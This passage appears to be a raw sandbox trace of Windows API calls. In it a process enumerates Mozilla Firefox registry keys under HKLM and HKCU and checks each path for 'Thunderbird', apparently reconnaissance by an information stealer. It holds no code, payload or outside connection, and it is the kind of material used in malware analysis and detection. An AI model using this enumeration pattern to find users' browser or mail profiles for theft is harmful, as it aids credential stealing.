lpString1=0x643aa8, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0079.773] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\", lpString2="Main" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main" [0079.773] LocalFree (hMem=0x647b70) returned 0x0 [0079.773] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main", lpSrch="Thunderbird") returned 0x0 [0079.773] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x675360 [0079.773] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main", phkResult=0x12fd28 | out: phkResult=0x12fd28*=0x1fc) returned 0x0 [0079.773] RegEnumKeyExA (in: hKey=0x1fc, dwIndex=0x0, lpName=0x675360, lpcchName=0x12fd20, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd20, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.773] RegEnumKeyExA (in: hKey=0x1f8, dwIndex=0x1, lpName=0x64fcd0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Uninstall", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.773] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned 45 [0079.773] lstrlenA (lpString="\\") returned 1 [0079.773] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x647b70 [0079.773] lstrcpyA (in: lpString1=0x647b70, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" [0079.773] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0079.773] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned 46 [0079.773] lstrlenA (lpString="Uninstall") returned 9 [0079.773] LocalAlloc (uFlags=0x40, uBytes=0xb8) returned 0x643aa8 [0079.774] lstrcpyA (in: lpString1=0x643aa8, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0079.774] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\", lpString2="Uninstall" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall" [0079.774] LocalFree (hMem=0x647b70) returned 0x0 [0079.774] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall", lpSrch="Thunderbird") returned 0x0 [0079.774] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x675360 [0079.774] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall", phkResult=0x12fd28 | out: phkResult=0x12fd28*=0x1fc) returned 0x0 [0079.774] RegEnumKeyExA (in: hKey=0x1fc, dwIndex=0x0, lpName=0x675360, lpcchName=0x12fd20, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd20, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.774] RegEnumKeyExA (in: hKey=0x1f8, dwIndex=0x2, lpName=0x64fcd0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Uninstall", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.774] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x1, lpName=0x64f448, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="25.0 (en-US)", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.774] RegEnumKeyExA (in: hKey=0x1f4, dwIndex=0x3, lpName=0x655600, lpcchName=0x12fdbc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Mozilla Firefox 25.0", lpcchName=0x12fdbc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.774] lstrlenA (lpString="Software\\Mozilla") returned 16 [0079.774] lstrlenA (lpString="\\") returned 1 [0079.774] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x670c38 [0079.774] lstrcpyA (in: lpString1=0x670c38, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0079.774] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0079.774] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0079.774] lstrlenA (lpString="Mozilla Firefox 25.0") returned 20 [0079.774] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x629248 [0079.774] lstrcpyA (in: lpString1=0x629248, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0079.774] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Mozilla Firefox 25.0" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0") returned="Software\\Mozilla\\Mozilla Firefox 25.0" [0079.774] LocalFree (hMem=0x670c38) returned 0x0 [0079.774] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox 25.0", lpSrch="Thunderbird") returned 0x0 [0079.774] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x64f448 [0079.774] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0", phkResult=0x12fd90 | out: phkResult=0x12fd90*=0x1f0) returned 0x0 [0079.774] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x0, lpName=0x64f448, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="bin", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.774] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox 25.0") returned 37 [0079.774] lstrlenA (lpString="\\") returned 1 [0079.774] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6293a8 [0079.774] lstrcpyA (in: lpString1=0x6293a8, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0") returned="Software\\Mozilla\\Mozilla Firefox 25.0" [0079.774] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0079.774] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned 38 [0079.775] lstrlenA (lpString="bin") returned 3 [0079.775] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x647ab8 [0079.775] lstrcpyA (in: lpString1=0x647ab8, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0079.775] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\", lpString2="bin" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\bin") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\bin" [0079.775] LocalFree (hMem=0x6293a8) returned 0x0 [0079.775] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox 25.0\\bin", lpSrch="Thunderbird") returned 0x0 [0079.775] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x64fcd0 [0079.775] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\bin", phkResult=0x12fd5c | out: phkResult=0x12fd5c*=0x1f8) returned 0x0 [0079.775] RegEnumKeyExA (in: hKey=0x1f8, dwIndex=0x0, lpName=0x64fcd0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.775] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x1, lpName=0x64f448, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="extensions", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.775] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox 25.0") returned 37 [0079.775] lstrlenA (lpString="\\") returned 1 [0079.775] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6293a8 [0079.775] lstrcpyA (in: lpString1=0x6293a8, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0") returned="Software\\Mozilla\\Mozilla Firefox 25.0" [0079.775] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0079.775] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned 38 [0079.775] lstrlenA (lpString="extensions") returned 10 [0079.775] LocalAlloc (uFlags=0x40, uBytes=0xb1) returned 0x643aa8 [0079.775] lstrcpyA (in: lpString1=0x643aa8, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0079.775] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\", lpString2="extensions" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions" [0079.775] LocalFree (hMem=0x6293a8) returned 0x0 [0079.775] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions", lpSrch="Thunderbird") returned 0x0 [0079.775] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x64fcd0 [0079.775] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions", phkResult=0x12fd5c | out: phkResult=0x12fd5c*=0x1f8) returned 0x0 [0079.775] RegEnumKeyExA (in: hKey=0x1f8, dwIndex=0x0, lpName=0x64fcd0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.775] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x2, lpName=0x64f448, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="extensions", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.775] RegEnumKeyExA (in: hKey=0x1f4, dwIndex=0x4, lpName=0x655600, lpcchName=0x12fdbc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Mozilla Firefox 25.0", lpcchName=0x12fdbc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.775] SetCurrentDirectoryA (lpPathName="C:\\Users\\EEBsYm5\\Desktop" (normalized: "c:\\users\\eebsym5\\desktop")) returned 1 [0079.776] GetCurrentDirectoryA (in: nBufferLength=0x104, lpBuffer=0x12fde7 | out: lpBuffer="C:\\Users\\EEBsYm5\\Desktop") returned 0x18 [0079.776] StrStrIA (lpFirst="Software\\Mozilla", lpSrch="Thunderbird") returned 0x0 [0079.776] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x655600 [0079.776] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla", phkResult=0x12fdc4 | out: phkResult=0x12fdc4*=0x1f4) returned 0x0 [0079.776] RegEnumKeyExA (in: hKey=0x1f4, dwIndex=0x0, lpName=0x655600, lpcchName=0x12fdbc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Firefox", lpcchName=0x12fdbc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.776] lstrlenA (lpString="Software\\Mozilla") returned 16 [0079.776] lstrlenA (lpString="\\") returned 1 [0079.776] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x670c38 [0079.776] lstrcpyA (in: lpString1=0x670c38, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0079.776] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0079.776] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0079.776] lstrlenA (lpString="Firefox") returned 7 [0079.776] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x652d58 [0079.776] lstrcpyA (in: lpString1=0x652d58, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0079.776] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0079.776] LocalFree (hMem=0x670c38) returned 0x0 [0079.776] StrStrIA (lpFirst="Software\\Mozilla\\Firefox", lpSrch="Thunderbird") returned 0x0 [0079.776] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x64f448 [0079.776] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox", phkResult=0x12fd90 | out: phkResult=0x12fd90*=0x1f0) returned 0x0 [0079.776] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x0, lpName=0x64f448, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Crash Reporter", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.776] lstrlenA (lpString="Software\\Mozilla\\Firefox") returned 24 [0079.776] lstrlenA (lpString="\\") returned 1 [0079.776] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x652b60 [0079.776] lstrcpyA (in: lpString1=0x652b60, lpString2="Software\\Mozilla\\Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0079.776] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0079.776] lstrlenA (lpString="Software\\Mozilla\\Firefox\\") returned 25 [0079.776] lstrlenA (lpString="Crash Reporter") returned 14 [0079.776] LocalAlloc (uFlags=0x40, uBytes=0xa8) returned 0x629248 [0079.776] lstrcpyA (in: lpString1=0x629248, lpString2="Software\\Mozilla\\Firefox\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0079.776] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox\\", lpString2="Crash Reporter" | out: lpString1="Software\\Mozilla\\Firefox\\Crash Reporter") returned="Software\\Mozilla\\Firefox\\Crash Reporter" [0079.776] LocalFree (hMem=0x652b60) returned 0x0 [0079.776] StrStrIA (lpFirst="Software\\Mozilla\\Firefox\\Crash Reporter", lpSrch="Thunderbird") returned 0x0 [0079.776] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x64fcd0 [0079.776] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\Crash Reporter", phkResult=0x12fd5c | out: phkResult=0x12fd5c*=0x1f8) returned 0x0 [0079.776] RegEnumKeyExA (in: hKey=0x1f8, dwIndex=0x0, lpName=0x64fcd0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.777] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.777] LocalFree (hMem=0x64fcd0) returned 0x0 [0079.777] LocalFree (hMem=0x629248) returned 0x0 [0079.777] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x1, lpName=0x64f448, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.777] lstrlenA (lpString="Software\\Mozilla\\Firefox") returned 24 [0079.777] lstrlenA (lpString="\\") returned 1 [0079.777] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x652b60 [0079.777] lstrcpyA (in: lpString1=0x652b60, lpString2="Software\\Mozilla\\Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0079.777] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0079.777] lstrlenA (lpString="Software\\Mozilla\\Firefox\\") returned 25 [0079.777] lstrlenA (lpString="TaskBarIDs") returned 10 [0079.777] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x629248 [0079.777] lstrcpyA (in: lpString1=0x629248, lpString2="Software\\Mozilla\\Firefox\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0079.777] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox\\", lpString2="TaskBarIDs" | out: lpString1="Software\\Mozilla\\Firefox\\TaskBarIDs") returned="Software\\Mozilla\\Firefox\\TaskBarIDs" [0079.777] LocalFree (hMem=0x652b60) returned 0x0 [0079.777] StrStrIA (lpFirst="Software\\Mozilla\\Firefox\\TaskBarIDs", lpSrch="Thunderbird") returned 0x0 [0079.777] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x64fcd0 [0079.777] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", phkResult=0x12fd5c | out: phkResult=0x12fd5c*=0x1f8) returned 0x0 [0079.777] RegEnumKeyExA (in: hKey=0x1f8, dwIndex=0x0, lpName=0x64fcd0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.777] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.777] LocalFree (hMem=0x64fcd0) returned 0x0 [0079.777] LocalFree (hMem=0x629248) returned 0x0 [0079.777] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x2, lpName=0x64f448, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.777] RegCloseKey (hKey=0x1f0) returned 0x0 [0079.777] LocalFree (hMem=0x64f448) returned 0x0 [0079.777] LocalFree (hMem=0x652d58) returned 0x0 [0079.777] RegEnumKeyExA (in: hKey=0x1f4, dwIndex=0x1, lpName=0x655600, lpcchName=0x12fdbc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Firefox", lpcchName=0x12fdbc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.777] RegCloseKey (hKey=0x1f4) returned 0x0 [0079.777] LocalFree (hMem=0x655600) returned 0x0 [0079.777] StrStrIA (lpFirst="Software\\Mozilla", lpSrch="Thunderbird") returned 0x0 [0079.777] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x655600 [0079.777] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla", phkResult=0x12fdc4 | out: phkResult=0x12fdc4*=0x1f4) returned 0x0 [0079.778] RegEnumKeyExA (in: hKey=0x1f4, dwIndex=0x0, lpName=0x655600, lpcchName=0x12fdbc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Firefox", lpcchName=0x12fdbc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.778] lstrlenA (lpString="Software\\Mozilla") returned 16 [0079.778] lstrlenA (lpString="\\") returned 1 [0079.778] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x670c38 [0079.778] lstrcpyA (in: lpString1=0x670c38, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0079.778] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0079.778] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0079.778] lstrlenA (lpString="Firefox") returned 7 [0079.778] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x652d58 [0079.778] lstrcpyA (in: lpString1=0x652d58, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0079.778] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0079.778] LocalFree (hMem=0x670c38) returned 0x0 [0079.778] StrStrIA (lpFirst="Software\\Mozilla\\Firefox", lpSrch="Thunderbird") returned 0x0 [0079.778] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x64f448 [0079.778] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox", phkResult=0x12fd90 | out: phkResult=0x12fd90*=0x1f0) returned 0x0 [0079.778] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x0, lpName=0x64f448, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.778] lstrlenA (lpString="Software\\Mozilla\\Firefox") returned 24 [0079.778] lstrlenA (lpString="\\") returned 1 [0079.778] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x652b60 [0079.778] lstrcpyA (in: lpString1=0x652b60, lpString2="Software\\Mozilla\\Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0079.778] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0079.778] lstrlenA (lpString="Software\\Mozilla\\Firefox\\") returned 25 [0079.778] lstrlenA (lpString="TaskBarIDs") returned 10 [0079.778] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x629248 [0079.778] lstrcpyA (in: lpString1=0x629248, lpString2="Software\\Mozilla\\Firefox\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0079.778] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox\\", lpString2="TaskBarIDs" | out: lpString1="Software\\Mozilla\\Firefox\\TaskBarIDs") returned="Software\\Mozilla\\Firefox\\TaskBarIDs" [0079.778] LocalFree (hMem=0x652b60) returned 0x0 [0079.778] StrStrIA (lpFirst="Software\\Mozilla\\Firefox\\TaskBarIDs", lpSrch="Thunderbird") returned 0x0 [0079.778] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x64fcd0 [0079.778] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", phkResult=0x12fd5c | out: phkResult=0x12fd5c*=0x1f8) returned 0x0 [0079.778] RegEnumKeyExA (in: hKey=0x1f8, dwIndex=0x0, lpName=0x64fcd0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.778] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.778] LocalFree (hMem=0x64fcd0) returned 0x0 [0079.778] LocalFree (hMem=0x629248) returned 0x0 [0079.779] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x1, lpName=0x64f448, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.779] RegCloseKey (hKey=0x1f0) returned 0x0 [0079.779] LocalFree (hMem=0x64f448) returned 0x0 [0079.779] LocalFree (hMem=0x652d58) returned 0x0 [0079.779] RegEnumKeyExA (in: hKey=0x1f4, dwIndex=0x1, lpName=0x655600, lpcchName=0x12fdbc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="MaintenanceService", lpcchName=0x12fdbc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.779] lstrlenA (lpString="Software\\Mozilla") returned 16 [0079.779] lstrlenA (lpString="\\") returned 1 [0079.779] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x670c38 [0079.779] lstrcpyA (in: lpString1=0x670c38, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0079.779] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0079.779] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0079.779] lstrlenA (lpString="MaintenanceService") returned 18 [0079.779] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x629248 [0079.779] lstrcpyA (in: lpString1=0x629248, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0079.779] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="MaintenanceService" | out: lpString1="Software\\Mozilla\\MaintenanceService") returned="Software\\Mozilla\\MaintenanceService" [0079.779] LocalFree (hMem=0x670c38) returned 0x0 [0079.779] StrStrIA (lpFirst="Software\\Mozilla\\MaintenanceService", lpSrch="Thunderbird") returned 0x0 [0079.779] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x64f448 [0079.779] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\MaintenanceService", phkResult=0x12fd90 | out: phkResult=0x12fd90*=0x1f0) returned 0x0 [0079.779] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x0, lpName=0x64f448, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="f9b87e891978e3145f0f8f9953eadc00", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.779] lstrlenA (lpString="Software\\Mozilla\\MaintenanceService") returned 35 [0079.779] lstrlenA (lpString="\\") returned 1 [0079.779] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x6293a8 [0079.779] lstrcpyA (in: lpString1=0x6293a8, lpString2="Software\\Mozilla\\MaintenanceService" | out: lpString1="Software\\Mozilla\\MaintenanceService") returned="Software\\Mozilla\\MaintenanceService" [0079.779] lstrcatA (in: lpString1="Software\\Mozilla\\MaintenanceService", lpString2="\\" | out: lpString1="Software\\Mozilla\\MaintenanceService\\") returned="Software\\Mozilla\\MaintenanceService\\" [0079.779] lstrlenA (lpString="Software\\Mozilla\\MaintenanceService\\") returned 36 [0079.779] lstrlenA (lpString="f9b87e891978e3145f0f8f9953eadc00") returned 32 [0079.779] LocalAlloc (uFlags=0x40, uBytes=0xc5) returned 0x66b738 [0079.779] lstrcpyA (in: lpString1=0x66b738, lpString2="Software\\Mozilla\\MaintenanceService\\" | out: 